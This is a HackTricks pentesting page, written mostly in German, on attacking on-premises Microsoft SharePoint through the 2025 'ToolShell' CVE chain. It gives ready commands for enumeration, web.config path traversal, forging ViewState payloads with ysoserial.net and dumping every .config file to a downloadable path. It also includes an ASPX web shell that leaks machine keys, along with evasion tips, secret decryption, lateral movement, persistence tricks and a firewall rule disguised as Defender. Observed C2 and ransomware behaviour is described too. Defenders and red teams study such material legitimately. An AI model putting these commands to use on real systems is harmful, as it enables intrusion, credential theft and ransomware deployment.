Microsoft SharePoint – Pentesting & Exploitation

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks

Microsoft SharePoint (on-premises) basiert auf ASP.NET/IIS. Die meisten klassischen Web-AngriffsflĂ€chen (ViewState, Web.Config, web shells, etc.) sind daher vorhanden, aber SharePoint enthĂ€lt außerdem Hunderte proprietĂ€rer ASPX-Seiten und Web-Services, die die exponierte AngriffsflĂ€che dramatisch vergrĂ¶ĂŸern. Diese Seite sammelt praktische Tricks, um SharePoint-Umgebungen zu enumerate, exploit und persist, mit Schwerpunkt auf der 2025 exploit chain, die von Unit42 offengelegt wurde (CVE-2025-49704/49706/53770/53771).

1. Quick enumeration

# favicon hash and keywords
curl -s https://<host>/_layouts/15/images/SharePointHome.png
curl -s https://<host>/_vti_bin/client.svc | file -  # returns WCF/XSI

# version leakage (often in JS)
curl -s https://<host>/_layouts/15/init.js | grep -i "spPageContextInfo"

# interesting standard paths
/_layouts/15/ToolPane.aspx               # vulnerable page used in 2025 exploit chain
/_vti_bin/Lists.asmx                     # legacy SOAP service
/_catalogs/masterpage/Forms/AllItems.aspx

# enumerate sites & site-collections (requires at least Anonymous)
python3 Office365-ADFSBrute/SharePointURLBrute.py -u https://<host>

2. 2025 Exploit-Kette (a.k.a. “ToolShell”)

2.1 CVE-2025-49704 – Code Injection on ToolPane.aspx

/_layouts/15/ToolPane.aspx?PageView=
&DefaultWebPartId=<payload> ermöglicht das Injizieren beliebigen Server-Side Include-Codes in die Seite, der spĂ€ter von ASP.NET kompiliert wird. Ein Angreifer kann C# einbetten, das Process.Start() ausfĂŒhrt, und eine bösartige ViewState ablegen.

2.2 CVE-2025-49706 – Improper Authentication Bypass

Die gleiche Seite vertraut dem X-Forms_BaseUrl-Header, um den Site-Kontext zu bestimmen. Durch das Setzen desselben auf /_layouts/15/ kann MFA/SSO, das auf der Root-Site erzwungen wird, unauthenticated umgangen werden.

2.3 CVE-2025-53770 – Unauthenticated ViewState Deserialization → RCE

Sobald der Angreifer ein Gadget in ToolPane.aspx kontrolliert, kann er einen unsigned (oder MAC-only) __VIEWSTATE-Wert posten, der .NET-Deserialisierung innerhalb von w3wp.exe auslöst und zur CodeausfĂŒhrung fĂŒhrt.

Wenn Signing aktiviert ist, stiehlt man den ValidationKey/DecryptionKey aus einer beliebigen web.config (siehe 2.4) und fÀlscht die Nutzlast mit ysoserial.net oder ysodom:

ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" |
ViewStateGenerator.exe --validation-key <hex> --decryption-key <hex> -o payload.txt

FĂŒr eine ausfĂŒhrliche ErklĂ€rung zum Missbrauch von ASP.NET ViewState lesen Sie:

Exploiting __VIEWSTATE without knowing the secrets

2.4 CVE-2025-53771 – Path Traversal / web.config Disclosure

Durch Senden eines manipulierten Source-Parameters an ToolPane.aspx (z. B. ../../../../web.config) wird die angezielte Datei zurĂŒckgegeben, wodurch die Offenlegung von folgenden Informationen möglich ist:

  • <machineKey validationKey="
" decryptionKey="
"> ➜ forge ViewState / ASPXAUTH cookies
  • Verbindungsstrings & Geheimnisse.

2.5 ToolShell workflow observed in Ink Dragon intrusions

Check Point hat abgebildet, wie Ink Dragon die ToolShell-Kette monatelang operationalisierte, bevor Microsoft Fixes auslieferte:

  • Header spoofing for auth bypass – der Akteur sendet POST-Anfragen an /_layouts/15/ToolPane.aspx mit Referer: https://<victim>/_layouts/15/ sowie einem gefĂ€lschten X-Forms_BaseUrl. Diese Header ĂŒberzeugen SharePoint, dass die Anfrage von einem vertrauenswĂŒrdigen Layout stammt, und umgehen vollstĂ€ndig die Front-Door-Authentifizierung (CVE-2025-49706/CVE-2025-53771).
  • Serialized gadget in the same request – der Body enthĂ€lt vom Angreifer kontrollierte ViewState/ToolPart-Daten, die den verwundbaren serverseitigen Formatter erreichen (CVE-2025-49704/CVE-2025-53770). Die Payload ist ĂŒblicherweise eine ysoserial.net-Kette, die innerhalb von w3wp.exe lĂ€uft, ohne jemals die Festplatte zu berĂŒhren.
  • Internet-scale scanning – die Telemetrie aus Juli 2025 zeigt, dass sie jeden erreichbaren /_layouts/15/ToolPane.aspx-Endpunkt enumerieren und ein Wörterbuch geleakter <machineKey>-Paare abspielen. Jede Site, die einen Beispiel-validationKey aus Dokumentation kopiert hat, kann kompromittiert werden, selbst wenn sie sonst vollstĂ€ndig gepatcht ist (siehe die ViewState-Seite fĂŒr den Signing-Workflow).
  • Immediate staging – erfolgreiche Exploitation legt einen Loader oder PowerShell-Stager ab, der: (1) jede web.config ausliest, (2) eine ASPX webshell als Notfallzugang ablegt, und (3) einen lokalen Potato privesc plant, um dem IIS-Worker zu entkommen.

3. Post-exploitation recipes observed in the wild

3.1 Exfiltrate every .config file (variation-1)

cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js"

Die resultierende debug_dev.js kann anonym heruntergeladen werden und enthÀlt alle sensiblen Konfigurationen.

3.2 Bereitstellen einer Base64-kodierten ASPX web shell (variation-2)

powershell.exe -EncodedCommand <base64>

Dekodiertes payload-Beispiel (gekĂŒrzt):

<%@ Page Language="C#" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
protected void Page_Load(object sender, EventArgs e){
Response.Write(MachineKey.ValidationKey);
// echo secrets or invoke cmd
}
</script>

Geschrieben in:

C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx

Die shell exponiert Endpunkte, um MaschinenschlĂŒssel zu lesen / zu rotieren, was das Forging von ViewState- und ASPXAUTH-Cookies ĂŒber die Farm hinweg ermöglicht.

3.3 Obfuscated variant (variation-3)

Dasselbe shell, aber:

  • dropped under ...\15\TEMPLATE\LAYOUTS\
  • Variablennamen auf einzelne Buchstaben reduziert
  • Thread.Sleep(<ms>) hinzugefĂŒgt fĂŒr sandbox-evasion & timing-based AV bypass.

3.4 AK47C2 multi-protocol backdoor & X2ANYLOCK ransomware (beobachtet 2025–2026)

Aktuelle Incident-Response-Untersuchungen (Unit42 “Project AK47”) zeigen, wie Angreifer die ToolShell-Kette nach initialer RCE nutzen, um ein duales C2-Implantat und Ransomware in SharePoint-Umgebungen auszurollen:

AK47C2 – dnsclient variant

  • Hardcodierter DNS-Server: 10.7.66.10, der mit der autoritativen Domain update.updatemicfosoft.com kommuniziert.
  • Nachrichten sind JSON-Objekte, XOR-verschlĂŒsselt mit dem statischen Key VHBD@H, hex-kodiert und als Subdomain-Labels eingebettet.
{"cmd":"<COMMAND>","cmd_id":"<ID>"}
  • Lange Abfragen werden in Chunks aufgeteilt und mit s vorangestellt, dann serverseitig wieder zusammengesetzt.
  • Server-Antworten in TXT-Records verwenden dasselbe XOR/hex-Schema:
{"cmd":"<COMMAND>","cmd_id":"<ID>","type":"result","fqdn":"<HOST>","result":"<OUTPUT>"}
  • Version 202504 fĂŒhrte ein vereinfachtes Format <COMMAND>::<SESSION_KEY> und Chunk-Marker 1, 2, a ein.

AK47C2 – httpclient variant

  • Verwendet dieselbe JSON- & XOR-Routine, sendet den Hex-Blob jedoch im HTTP POST body ĂŒber libcurl (CURLOPT_POSTFIELDS, etc.).
  • Gleicher Task-/Result-Workflow, der Folgendes ermöglicht:
  • Beliebige Shell-BefehlsausfĂŒhrung.
  • Dynamisches Sleep-Intervall und kill-switch-Anweisungen.

X2ANYLOCK ransomware

  • 64-bit C++ Payload geladen via DLL side-loading (siehe unten).
  • Verwendet AES-CBC fĂŒr Datei-Daten + RSA-2048 zur UmhĂŒllung des AES-SchlĂŒssels, dann hĂ€ngt es die Extension .x2anylock an.
  • VerschlĂŒsselt rekursiv lokale Laufwerke und gefundene SMB-Shares; ĂŒberspringt Systempfade.
  • HinterlĂ€sst eine Klartext-Notiz How to decrypt my data.txt, die eine statische Tox ID fĂŒr Verhandlungen einbettet.
  • EnthĂ€lt einen internen kill-switch:
if (file_mod_time >= "2026-06-06") exit(0);

DLL side-loading chain

  1. Angreifer platziert dllhijacked.dll/My7zdllhijacked.dll neben eine legitime 7z.exe.
  2. Vom SharePoint gestartetes w3wp.exe startet 7z.exe, das aufgrund der Windows-Suchreihenfolge die bösartige DLL lÀdt und den Ransomware-Entrypoint im Speicher aufruft.
  3. Ein separater LockBit-Loader wurde beobachtet (bbb.msi ➜ clink_x86.exe ➜ clink_dll_x86.dll), entschlĂŒsselt Shellcode und fĂŒhrt DLL hollowing in d3dl1.dll durch, um LockBit 3.0 auszufĂŒhren.

[!INFO] Dieselbe statische Tox ID, die in X2ANYLOCK gefunden wurde, erscheint in leaked LockBit-Datenbanken und deutet auf Überschneidungen bei Affiliates hin.

3.5 Turning SharePoint loot into lateral movement

  • Jeden geschĂŒtzten Abschnitt entschlĂŒsseln – sobald man auf dem Web-Tier sitzt, missbrauche aspnet_regiis.exe -px "connectionStrings" C:\\temp\\conn.xml -pri (oder -px "appSettings") um die Klartext-Secrets zu dumpen, die sich hinter <connectionStrings configProtectionProvider="RsaProtectedConfigurationProvider"> verstecken. Ink Dragon hat auf diese Weise wiederholt SQL-Logins, SMTP-Relays und benutzerdefinierte Service-Credentials geerntet.
  • App-Pool-Konten ĂŒber Farms wiederverwenden – viele Unternehmen verwenden dasselbe DomĂ€nenkonto fĂŒr IIS APPPOOL\SharePoint auf jedem Front-End. Nach dem EntschlĂŒsseln von identity impersonate="..."-Blöcken oder dem Lesen von ApplicationHost.config, teste die Credentials ĂŒber SMB/RDP/WinRM an jeden anderen Server. In mehreren VorfĂ€llen war das Konto auch ein lokaler Administrator, was psexec, sc create oder Scheduled-Task-Staging ermöglichte, ohne Password-Sprays auszulösen.
  • Abuse leaked <machineKey> values internally – selbst wenn der Internet-Perimeter gepatcht wird, ermöglicht die Wiederverwendung desselben validationKey/decryptionKey laterale ViewState-Exploitation zwischen internen SharePoint-Zonen, die einander vertrauen.

3.6 Persistenzmuster, die in den Intrusionen 2025 beobachtet wurden

  • Geplante Tasks – eine einmalige Aufgabe namens SYSCHECK (oder andere gesundheitsbezogene Namen) wird mit /ru SYSTEM /sc once /st <hh:mm> erstellt, um den Next-Stage-Loader zu starten (hĂ€ufig ein umbenanntes conhost.exe). Da sie einmalig ausgefĂŒhrt wird, geht sie in der Telemetrie oft verloren, es sei denn, historisches Task-XML wird aufbewahrt.
  • Maskierte Services – Dienste wie WindowsTempUpdate, WaaSMaintainer oder MicrosoftTelemetryHost werden via sc create installiert, die auf das sideloading triad-Verzeichnis zeigen. Die Binaries behalten ihre ursprĂŒnglichen AMD/Realtek/NVIDIA-Signaturen, werden aber umbenannt, um Windows-Komponenten zu entsprechen; der Vergleich des On-Disk-Namens mit dem OriginalFileName PE-Feld ist ein schneller IntegritĂ€tscheck.

3.7 Host firewall downgrades for relay traffic

Ink Dragon fĂŒgt routinemĂ€ĂŸig eine freizĂŒgige ausgehende Regel hinzu, die sich als Defender-Wartung tarnt, sodass ShadowPad/FinalDraft-Traffic ĂŒber jeden Port ausgehend passieren kann:

netsh advfirewall firewall add rule name="Microsoft MsMpEng" dir=out action=allow program="C:\ProgramData\Microsoft\Windows Defender\MsMpEng.exe" enable=yes profile=any

Da die Regel lokal erstellt wird (nicht via GPO) und das legitime Defender-Binary als program= verwendet, ignorieren die meisten SOC-Baselines sie; dennoch öffnet sie Any ➜ Any egress.


Verwandte Tricks

  • IIS post-exploitation & web.config Missbrauch:

IIS - Internet Information Services

Quellen

Tip

Lernen & ĂŒben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & ĂŒben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & ĂŒben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

UnterstĂŒtzen Sie HackTricks